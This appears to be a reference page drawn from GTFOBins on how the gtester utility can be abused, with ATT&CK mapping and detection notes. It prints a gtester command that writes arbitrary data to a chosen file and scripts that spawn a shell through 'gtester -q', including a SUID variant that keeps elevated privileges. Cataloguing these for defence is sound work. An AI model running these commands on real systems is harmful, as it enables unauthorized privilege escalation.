gtester

GTFOBins file-write, shell 1 ATT&CK technique 2 documented commands

How gtester is abused

documented by GTFOBins

file-write

-o

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-q

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for gtester.

2 documented commands

from GTFOBins, each read by the identifier

file-write unprivileged, with sudo, as SUID

Data to be written appears in an XML attribute in the output file (<testbinary path="DATA">).

gtester DATA -o /path/to/output-file

Identify

shell unprivileged, with sudo, as SUID

echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

Identify

As SUID:

echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-file

None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for gtester. The identifier reads the line of each that runs gtester.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

gtester

How gtester is abused

2 documented commands

What detects it

Other programs abused for file-write